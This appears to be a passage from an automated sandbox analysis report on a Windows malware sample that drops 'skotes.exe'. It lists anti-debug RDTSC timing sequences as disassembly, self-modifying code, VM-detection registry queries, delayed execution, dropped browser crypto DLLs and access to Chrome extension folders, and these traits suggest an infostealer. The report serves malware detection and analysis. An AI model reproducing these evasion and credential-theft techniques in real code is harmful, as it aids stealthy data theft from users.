Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21272F second address: 21273E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2128EF second address: 2128F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212A34 second address: 212A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9C04EA4D26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212B9E second address: 212BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9C04B939F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 207D73 second address: 207D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9C04EA4D26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 207D7D second address: 207D91 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9C04B939F6h 0x00000008 jnc 00007F9C04B939F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212E55 second address: 212E87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D39h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F9C04EA4D2Dh 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 212E87 second address: 212E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213412 second address: 213432 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C04EA4D2Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F9C04EA4D2Ch 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213571 second address: 213577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213577 second address: 21357B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21357B second address: 213581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21380D second address: 213813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213A7E second address: 213A84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213A84 second address: 213A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 213A8D second address: 213A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F9C04B939F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 218F5F second address: 218F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F9C04EA4D2Fh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F9C04EA4D26h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 218F81 second address: 218F8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 218F8D second address: 218F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1DD600 second address: 1DD62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F9C04B93A07h 0x0000000d jmp 00007F9C04B939FCh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1DD62C second address: 1DD631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1DD631 second address: 1DD644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9C04B939F6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21B7C8 second address: 21B7CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 1E243A second address: 1E244F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21DB4C second address: 21DB58 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9C04EA4D26h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21DE50 second address: 21DE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 21E3F4 second address: 21E420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jo 00007F9C04EA4D26h 0x0000000d pop edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F9C04EA4D37h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2201ED second address: 2201F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2201F1 second address: 2201FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22088B second address: 220891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 220EA4 second address: 220EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 220F00 second address: 220F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B93A08h 0x00000009 popad 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c movsx edi, cx 0x0000000f nop 0x00000010 pushad 0x00000011 pushad 0x00000012 jc 00007F9C04B939F6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 220F32 second address: 220F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 220F36 second address: 220F51 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9C04B93A01h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2210C4 second address: 2210C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2210C8 second address: 2210CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2210CE second address: 2210D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2211B9 second address: 2211C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2211C4 second address: 2211C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22148B second address: 2214A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F9C04B939FEh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2214A5 second address: 2214AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2224B8 second address: 22250E instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F9C04B939F8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 jg 00007F9C04B939FCh 0x0000002e push 00000000h 0x00000030 add dword ptr [ebp+124576B8h], ebx 0x00000036 or di, D1E6h 0x0000003b push 00000000h 0x0000003d mov edi, ebx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22250E second address: 222521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2223B7 second address: 2223BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 223DA1 second address: 223DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2248BE second address: 224975 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F9C04B93A05h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F9C04B939F8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c pushad 0x0000002d jmp 00007F9C04B93A01h 0x00000032 jmp 00007F9C04B93A02h 0x00000037 popad 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F9C04B939F8h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 js 00007F9C04B93A10h 0x0000005a jnp 00007F9C04B93A0Ah 0x00000060 push eax 0x00000061 push ebx 0x00000062 pushad 0x00000063 jng 00007F9C04B939F6h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2254D2 second address: 2254DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2254DB second address: 2254E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 2254E8 second address: 2254EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 222C27 second address: 222C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 229E8B second address: 229EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D32h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22BB3D second address: 22BB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22D16F second address: 22D1A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F9C04EA4D31h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9C04EA4D2Dh 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22D1A0 second address: 22D1A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 233E19 second address: 233E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 234DD8 second address: 234DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 234DDC second address: 234E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F9C04EA4D31h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 and ebx, dword ptr [ebp+122D28C9h] 0x00000018 mov dword ptr [ebp+122D38F3h], esi 0x0000001e xchg eax, esi 0x0000001f jmp 00007F9C04EA4D2Fh 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F9C04EA4D33h 0x0000002c rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 238088 second address: 23810E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 jno 00007F9C04B939FCh 0x0000000e sub dword ptr [ebp+122D3938h], ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F9C04B939F8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 sbb edi, 36C2A500h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F9C04B939F8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov di, 11ABh 0x00000056 mov ebx, dword ptr [ebp+122D28D4h] 0x0000005c xchg eax, esi 0x0000005d jmp 00007F9C04B939FDh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jnc 00007F9C04B939F6h 0x0000006d rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 23810E second address: 238112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 238112 second address: 238118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 23918F second address: 239193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 23B1B9 second address: 23B1DD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F9C04B93A12h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9C04B93A00h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 23B1DD second address: 23B1E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 225CA3 second address: 225CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 225CA7 second address: 225CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 225CC1 second address: 225CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22C392 second address: 22C396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 22D35A second address: 22D35F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 235068 second address: 23506C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	RDTSC instruction interceptor: First address: 23506C second address: 235076 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0FE7E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0D6A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CE46EA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CC36B2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D46728 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Special instruction interceptor: First address: 7C1E2 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Special instruction interceptor: First address: 240F8F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Special instruction interceptor: First address: 7EA92 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 14C1E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 310F8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 14EA92 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIEBFHCAKFB.exe

Code function: 29_2_04E10699 rdtsc

29_2_04E10699

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7452	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7460	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7432	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7456	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7436	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7448	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsIEBFHCAKFB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C98C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

